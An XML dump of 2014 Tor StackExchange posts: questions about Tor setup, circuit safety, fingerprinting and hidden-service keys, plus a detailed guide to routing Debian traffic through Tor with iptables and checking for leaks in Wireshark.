  <row Id="3564" PostTypeId="1" AcceptedAnswerId="3567" CreationDate="2014-07-15T00:33:47.143" Score="1" ViewCount="274" Body="&lt;p&gt;I am using Kali Linux. I came across Tor and installed it via terminal and then stated it typing &quot;service tor start&quot; in terminal. Is Tor now configured to all my browsers?&lt;/p&gt;&#xA;" OwnerUserId="3182" LastEditorUserId="923" LastEditDate="2014-07-15T11:04:41.287" LastActivityDate="2014-07-23T01:18:24.910" Title="Running Tor first time" Tags="|linux|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3566" PostTypeId="2" ParentId="3563" CreationDate="2014-07-15T05:52:14.590" Score="0" Body="&lt;p&gt;Given OP's requirements, it's best to rely on the &lt;a href=&quot;http://wiki.qubes-os.org/trac/wiki/HCL&quot; rel=&quot;nofollow&quot;&gt;hardware compatibility list for Qubes&lt;/a&gt;. I say that for two reasons. First, Qubes developers are notoriously paranoid ;) Second, you would have the option of switching to Qubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quad-core i5 with 8 GB RAM is fine. I'd avoid dual-core, especially old CPUs. But having enough RAM to avoid swapping is far more important for performance than CPU speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't trust either hardware or software FDE on SSDs. The security of hardware FDE for consumer SSDs has generally relied on ATA passwords, and they can be readily compromised. Although enterprise SSDs and the new Crucial M500 line can be far more secure, using that capability involves (as far as I know) software that's only available in Windows. Faustian choice there :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been claimed that, once dm-crypt/LUKS on has been configured on new SSDs, no plaintext will be written anywhere. However, I haven't seen corroboration from a source that I trust. Perhaps someone can enlighten us.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-15T05:52:14.590" CommentCount="19" ContentLicense="CC BY-SA 3.0" />
  <row Id="3567" PostTypeId="2" ParentId="3564" CreationDate="2014-07-15T11:09:18.520" Score="1" Body="&lt;p&gt;If you did not do it before, you must manually set an option to use a proxy server in your browser. How to set it, depends on the browser you choose. You always can check your status on &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="923" LastEditDate="2014-07-23T01:18:24.910" LastActivityDate="2014-07-23T01:18:24.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3569" PostTypeId="2" ParentId="3336" CreationDate="2014-07-15T11:16:05.393" Score="2" Body="&lt;p&gt;First, open the Tor browser (it needs to be running already). Then, in your code, make sure to simply start with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Selenium::WebDriver::Firefox::Binary.path='{location of start_tor_browser*}'&#xA;browser = Watir::Browser.new :firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*In my case: /home/tor/tor-browser_en-US/start-tor-browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing else is required - don't bother messing with profile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(hehe, credits to &lt;a href=&quot;https://stackoverflow.com/questions/24305345/cant-connect-to-tor-firefox-via-watir&quot;&gt;https://stackoverflow.com/questions/24305345/cant-connect-to-tor-firefox-via-watir&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3184" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2014-07-15T11:16:05.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3570" PostTypeId="2" ParentId="3557" CreationDate="2014-07-15T11:18:06.583" Score="0" Body="&lt;p&gt;Basically in the tor Browser bundle it automatically configures the connection so that you don't need to worry about any advanced settings  thereby leaving your connection secure(the browser showing the green onion on successful configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the connection is insecure or broken you will know about it under the notification area or the connection display where you start tor(clicking on the play  button)&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2014-07-15T11:18:06.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostTypeId="2" ParentId="3511" CreationDate="2014-07-15T11:43:22.193" Score="0" Body="&lt;p&gt;This question is slightly tricky for which I give an answer which is most probably and easily understood by everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my knowledge its a NO but depends on the route through which you are accessing your mails. If it is through the default browser then by default your ip address, mac address etc. are stored in the database as soon as a request is made to the server(this involves due to the predefined set of Protocols for the mail transfer to take place like SMTP(Simple message transmission protocol)).When  the server replies back with the bridges even the content is stored by default for future course of action which is not known to anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sending and receiving of mails goes through a different number of firewalls by which the mails may or may not be intercepted based on their requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the end your activity log is stored as So and so request was made by the user then and there. In any event if the website reports for an abuse of its site only then your anonymity is at stake.&#xA;Some sites also store the log and partially display the user activity to the user so that the user can know his logging events for security purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see that it is displaying only IP address and time then you can clearly understand more what it could have logged just through a simple transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways through which one can enter and exit the network without leaving the trace of their activity but those means are termed illegal(for security issues as those means would mostly involve for negative use) and using them (until and unless the use is authorized by the owner of the property for testing purpose only) could cause you legal issues.&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="3071" LastEditDate="2014-07-15T11:50:06.353" LastActivityDate="2014-07-15T11:50:06.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostTypeId="2" ParentId="3562" CreationDate="2014-07-15T13:06:25.740" Score="2" Body="&lt;p&gt;Hеllo, Roya!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we try to represent circuits as table, where:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A letter C is a client&lt;/li&gt;&#xA;&lt;li&gt;A letter D is a destination&lt;/li&gt;&#xA;&lt;li&gt;A letter N is a node&lt;/li&gt;&#xA;&lt;li&gt;A number after letter N is number of node&lt;/li&gt;&#xA;&lt;li&gt;A compromised node placed into square brackets&lt;/li&gt;&#xA;&lt;li&gt;A not compromised node placed into round brackets&lt;/li&gt;&#xA;&lt;li&gt;Attacker have a control of a half of all nodes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then we can see something like that:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;For one-hop circuits:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C -&amp;gt; (N1) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; [N1] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;&#xA;  Safe circuits: 1&#xA;Unsafe circuits: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;For two-hop circuits:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C -&amp;gt; (N1) -&amp;gt; (N2) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; [N1] -&amp;gt; (N2) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; (N1) -&amp;gt; [N2] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;C -&amp;gt; [N1] -&amp;gt; [N2] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;&#xA;  Safe circuits: 2&#xA;Unsafe circuits: 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;For three-hop circuits:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C -&amp;gt; (N1) -&amp;gt; (N2) -&amp;gt; (N3) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; [N1] -&amp;gt; (N2) -&amp;gt; (N3) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; (N1) -&amp;gt; [N2] -&amp;gt; (N3) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; (N1) -&amp;gt; (N2) -&amp;gt; [N3] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;C -&amp;gt; [N1] -&amp;gt; [N2] -&amp;gt; (N3) -&amp;gt; D =&amp;gt; [Safe]&#xA;C -&amp;gt; (N1) -&amp;gt; [N2] -&amp;gt; [N3] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;C -&amp;gt; [N1] -&amp;gt; (N2) -&amp;gt; [N3] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;C -&amp;gt; [N1] -&amp;gt; [N2] -&amp;gt; [N3] -&amp;gt; D =&amp;gt; [Unsafe]&#xA;&#xA;  Safe circuits: 4&#xA;Unsafe circuits: 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And so on. As you can see, when route length is bigger, then more variants of possible safe and unsafe circuits we can use. But attitude of safety to circuits that we can build is not changed. So, when we can build a 50 percents maximum of compromised circuits with two-hop route length, we also can build a 50 percents maximum of compromised circuits with three-hop length. But, if attacker have a control to a bigger number of nodes, so then we have a bigger chance to build a compromised circuit. I think we can set a variable length of route and must change circuits more often, but this length must not be smaller than three, because only in this way we have an entry, middle and exit nodes that is different from each other. Maybe I'm wrong in this, then please correct me.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastActivityDate="2014-07-15T13:06:25.740" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostTypeId="1" CreationDate="2014-07-15T15:39:39.977" Score="3" ViewCount="88" Body="&lt;p&gt;I'm concerned that running a Tor relay may open my machine to attack vectors from bugs (there are always bugs) in the daemon. Using the default installer, will Tor run in an account with limited permissions on Mac OS X (network only?) or do I either need to learn how to configure this myself or run Tor on a separate machine to limit my exposure.&lt;/p&gt;&#xA;" OwnerUserId="3186" LastEditorUserId="923" LastEditDate="2014-07-15T15:59:52.237" LastActivityDate="2014-07-15T15:59:52.237" Title="Is Tor sandboxed on mac os x?" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostTypeId="2" ParentId="3557" CreationDate="2014-07-15T18:33:13.957" Score="1" Body="&lt;p&gt;Thank you very much. In the meantime I've also seen that the symbol can eventually turn to grey or then surfing turns impossible at all, if Tor is broken.&#xA;However as I also miss some other informations about the connection (number of active nodes for my connection and the world map) I followed a description somewhere in the forum and installed in addition to TBB 3.6.2 also a simplified vidalia package.&#xA;Works fine now, both cooperate well.&lt;/p&gt;&#xA;" OwnerUserId="3189" LastEditorUserId="923" LastEditDate="2014-07-15T18:39:02.277" LastActivityDate="2014-07-15T18:39:02.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3576" PostTypeId="1" CreationDate="2014-07-15T18:47:29.083" Score="1" ViewCount="47" Body="&lt;p&gt;No matter what I do, what add-on I installed up to now. &#xA;On chrome://stopfingerprinting/content/common/options.html my TBB 3.6.2 reveals exactly what fonts I've installed, making me obviously identifiable.&#xA;This is a clear and open threat and should be solved somehow (making only some general basic fonts public or so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know an add-on that would eliminate this in the meantime?&lt;/p&gt;&#xA;" OwnerUserId="3189" LastActivityDate="2014-07-15T18:47:29.083" Title="Security leak in TBB 3.6.2! Leaking information about installed fonts" Tags="|security|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostTypeId="1" CreationDate="2014-07-15T20:29:34.213" Score="2" ViewCount="341" Body="&lt;p&gt;I have a VPN -&gt; Tor setup. I'm running Tor in a virtual machine while connected to the VPN from my host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how do I verify that I in fact do enter Tor through the VPN? &lt;/p&gt;&#xA;" OwnerUserId="3190" LastActivityDate="2014-07-16T20:45:45.510" Title="How do I verify Tor through VPN?" Tags="|vpn|openvpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostTypeId="1" AcceptedAnswerId="3579" CreationDate="2014-07-16T06:14:15.753" Score="1" ViewCount="11833" Body="&lt;p&gt;This is a fairly common question. I've found good guidance from the Tor Project, this and other StackExchange communities, and so on. But I haven't found a coherent set of instructions, covering both setup and leak testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about we create one here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to post my answer. Although my iptables skills are iffy, perhaps it can serve as the basis for a good answer.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-22T19:44:56.523" LastActivityDate="2016-11-30T13:36:05.463" Title="How do I setup Tor on Debian for secure use as a SOCKS5 proxy?" Tags="|socks|debian|proxy-leaks|iptables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3579" PostTypeId="2" ParentId="3578" CreationDate="2014-07-16T07:00:07.410" Score="4" Body="&lt;p&gt;I've just tested this in a CrunchBang 11 x64 VM. It should work in Ubuntu and the rest of the Debian family. First install Wireshark, by opening a terminal and running these commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get dist-upgrade&#xA;sudo apt-get install wireshark&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To configure wireshark to allow a non-root user to sniff packets, run&#xA;these commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg-reconfigure wireshark-common&#xA;sudo adduser $USER wireshark&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then install Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now edit torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After line 19, which begins &quot;#SocksPort 192.168.0.1:9100 # Bind ...&quot;&#xA;add these four lines:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;VirtualAddrNetwork 10.192.0.0/10&lt;br&gt;&#xA;  AutomapHostsOnResolve 1&lt;br&gt;&#xA;  SocksPort 9050&lt;br&gt;&#xA;  DnsPort 53&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Save (Ctrl-o) and exit (Ctrl-x). The first two lines enable resolving hidden services (*.onion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then restart Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now specify &quot;127.0.0.1&quot; as the system DNS server. If using Network Manager, right click the connection icon, select &quot;Edit Connections&quot;, and edit the active wired or wireless connection. In the IPv4 tab, select &quot;Automatic (DHCP) addresses only&quot; as &quot;Method&quot;, type &quot;127.0.0.1&quot; in the &quot;DNS servers&quot; box, and save. In the IPv6 tab, select &quot;Ignore&quot; as &quot;Method&quot;, and save. Then close the &quot;Network Connections&quot; window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now install the iptables-persistent package, which will automatically load iptables rules at boot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install iptables-persistent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;During installation, you will be asked to confirm saving the existing rules:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/etc/iptables/rules.v4&lt;br&gt;&#xA;  /etc/iptables/rules.v6&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To see what they are, run these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -L&#xA;sudo ip6tables -L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then edit the IPv6 rules to drop everything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/iptables/rules.v6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file should contain this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*filter&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  :INPUT DROP&lt;br&gt;&#xA;  :FORWARD DROP&lt;br&gt;&#xA;  :OUTPUT DROP&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  COMMIT&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can paste into the terminal window using Shift|Ctrl-v. To copy from the terminal window, select with the mouse, and use Shift|Ctrl-c.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save (Ctrl-o) and exit (Ctrl-x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now get the user id (uid) for the user created in the Tor installation (debian-tor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo id -u debian-tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my CrunchBang VM, it's uid 109.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then edit the IPv4 rules to lock down Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/iptables/rules.v4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file should contain this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*nat&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  :PREROUTING ACCEPT [0:0]&lt;br&gt;&#xA;  :OUTPUT ACCEPT [0:0]&lt;br&gt;&#xA;  :POSTROUTING ACCEPT [0:0]&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  -A PREROUTING -p udp -m udp --dport 53 -j REDIRECT --to-ports 53&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  -A OUTPUT -o lo -j RETURN&lt;br&gt;&#xA;  -A OUTPUT -m owner --uid-owner 109 -j RETURN&lt;br&gt;&#xA;  -A OUTPUT -p udp -m udp --dport 123 -j REDIRECT --to-ports 123&lt;br&gt;&#xA;  -A OUTPUT -p udp -m udp --dport 53 -j REDIRECT --to-ports 53&lt;br&gt;&#xA;  -A OUTPUT -p tcp -m tcp --dport 9050 -j REDIRECT --to-ports 9050&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  COMMIT&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  *filter&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  :INPUT DROP [0:0]&lt;br&gt;&#xA;  :FORWARD DROP [0:0]&lt;br&gt;&#xA;  :OUTPUT DROP [0:0]&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  -A INPUT -i lo -j ACCEPT&lt;br&gt;&#xA;  -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br&gt;&#xA;  -A INPUT -s 127.0.0.1/32 -j ACCEPT&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  -A OUTPUT -o lo -j ACCEPT&lt;br&gt;&#xA;  -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br&gt;&#xA;  -A OUTPUT -m owner --uid-owner 109 -j ACCEPT&lt;br&gt;&#xA;  -A OUTPUT -p udp -m udp --dport 123 -j ACCEPT&lt;br&gt;&#xA;  -A OUTPUT -d 127.0.0.1/32 -p udp -m udp --dport 53 -j ACCEPT&lt;br&gt;&#xA;  -A OUTPUT -d 127.0.0.1/32 -p tcp -m tcp --dport 9050 -j ACCEPT&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  COMMIT&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Save (Ctrl-o) and exit (Ctrl-x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now load the new IPv4 and IPv6 rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables-restore &amp;lt; /etc/iptables/rules.v4&#xA;sudo ip6tables-restore &amp;lt; /etc/iptables/rules.v6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And check that they loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -L&#xA;sudo ip6tables -L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If they didn't, go back and check for errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now reboot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And check iptables again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -L&#xA;sudo ip6tables -L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now check Tor status:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo su&#xA;tail /var/log/tor/log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should say &quot;Bootstrapped 100%: Done&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now start Wireshark, and start capturing on eth0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Firefox, and set 127.0.0.1:9050 as the SOCKS5 proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browse a few key sites:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://duskgytldkxiuqc6.onion/&quot; rel=&quot;nofollow&quot;&gt;http://duskgytldkxiuqc6.onion/&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://duckduckgo.com/&quot; rel=&quot;nofollow&quot;&gt;https://duckduckgo.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And search for a few random things, and hit some sites, to generate more traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then stop Wireshark capture (4th icon from the left), and select &quot;Statistics/Conversations&quot; from the main menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see one local Ethernet conversation, and 1-3 TCP conversations, but nothing else. There might also be a UDP conversation on port 123 with an NTP timeserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/&lt;/a&gt;, look up the remote IP addresses (&quot;Address B&quot;) that you see in the TCP conversations. They should all be Tor relays. They are your entry guards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you can use torsocks for other command line apps. By default, it points to Tor SocksPort 9050. But always test for leaks. However, there may well be more secure options (such as socat). Also, you can add more SocksPorts in torrc, and use a different one for each app. That better isolates the streams. Each additional SocksPort needs its own set of iptables rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, start a Wireshark capture on eth0, and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo torsocks apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After it finishes, stop the Wireshark capture (4th icon from the left) and run &quot;Statistics/Conversations&quot;. You should see only TCP conversations with your entry guards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-25T14:42:32.553" LastActivityDate="2014-07-25T14:42:32.553" CommentCount="1" CommunityOwnedDate="2014-07-16T07:14:40.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostTypeId="2" ParentId="3577" CreationDate="2014-07-16T12:38:35.320" Score="1" Body="&lt;p&gt;Install Wireshark on the host machine and the VM. I see three places to capture:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the host physical NIC;&lt;/li&gt;&#xA;&lt;li&gt;the VPN tun interface in the host; and&lt;/li&gt;&#xA;&lt;li&gt;the virtual NIC in the VM. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Capture 1 should show encrypted VPN traffic with the login server. You should see no Tor traffic there, because it's encapsulated in the VPN packets. Captures 2 and 3 should show encrypted traffic with your entry guards. You should see no plaintext traffic there, because it's encapsulated in the Tor packets.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="88" LastEditDate="2014-07-16T20:45:45.510" LastActivityDate="2014-07-16T20:45:45.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3581" PostTypeId="2" ParentId="1855" CreationDate="2014-07-16T23:11:36.613" Score="2" Body="&lt;p&gt;I think teamspeak use UDP (UDP for teamspeak 3 but teamspeak 2 use TCP) and is not supported for using through socks. look this post: &lt;a href=&quot;http://forum.teamspeak.com/showthread.php/81895-UDP-is-blocked-anyway-to-connect-to-TS-server-through-TCP&quot; rel=&quot;nofollow&quot;&gt;http://forum.teamspeak.com/showthread.php/81895-UDP-is-blocked-anyway-to-connect-to-TS-server-through-TCP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, but if someone have a solution I search for.&lt;/p&gt;&#xA;" OwnerUserId="3196" LastEditorUserId="923" LastEditDate="2014-07-17T03:17:51.230" LastActivityDate="2014-07-17T03:17:51.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3582" PostTypeId="1" CreationDate="2014-07-17T00:08:22.760" Score="1" ViewCount="118" Body="&lt;p&gt;Hi guys I'm currently creating an Tor client in python that connects to a Hidden service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question that is currently stopping me from continuing the development of this project. I am currently at the stage of sending a RELAY_COMMAND_INTRODUCE1 cell to an induction point extracted from the redv. document recieved earlier on in the steps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i am stuck on is encrypting the data of the  RELAY_COMMAND_INTRODUCE1 cell with bob's public key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where do I find bob's public key ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I notice that in the first document (encrypted) recieved from the redv. request it contains a &lt;code&gt;permanent-key&lt;/code&gt; what is this,is this bob's public key&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="923" LastEditDate="2014-07-18T05:31:12.147" LastActivityDate="2014-07-18T05:31:12.147" Title="How do I get Bob's public key" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3583" PostTypeId="2" ParentId="3582" CreationDate="2014-07-17T01:42:32.693" Score="1" Body="&lt;p&gt;Hidden service descriptors include the public key of the hidden service in the &quot;permanent-key&quot; section.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-17T01:42:32.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostTypeId="1" CreationDate="2014-07-17T03:01:31.920" Score="1" ViewCount="84" Body="&lt;p&gt;The JonDo client includes an &lt;a href=&quot;https://anonymous-proxy-servers.net/en/help/services_tor.html&quot; rel=&quot;nofollow&quot;&gt;option for accessing the Tor network&lt;/a&gt;. Given some of the features (excerpted below) it seems to use a custom Tor client. Are there known vulnerabilities?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JonDo has Tor support, but it is experimental. This is why we do not guarantee complete or flawless functionality. If you would like to use JonDo to access the Tor network, you will need to enter JonDo as a SOCKS (not as a HTTP/HTTPS) proxy in your browser.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Activate&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  Available Tor nodes&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  Reload&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  Preferences for anonymous routing&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Minimum [Tor] nodes per connection&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Maximum [Tor] nodes per connection&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Change [Tor] route every x connections&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Create anonymous [Tor] route at startup&lt;br&gt;&#xA;  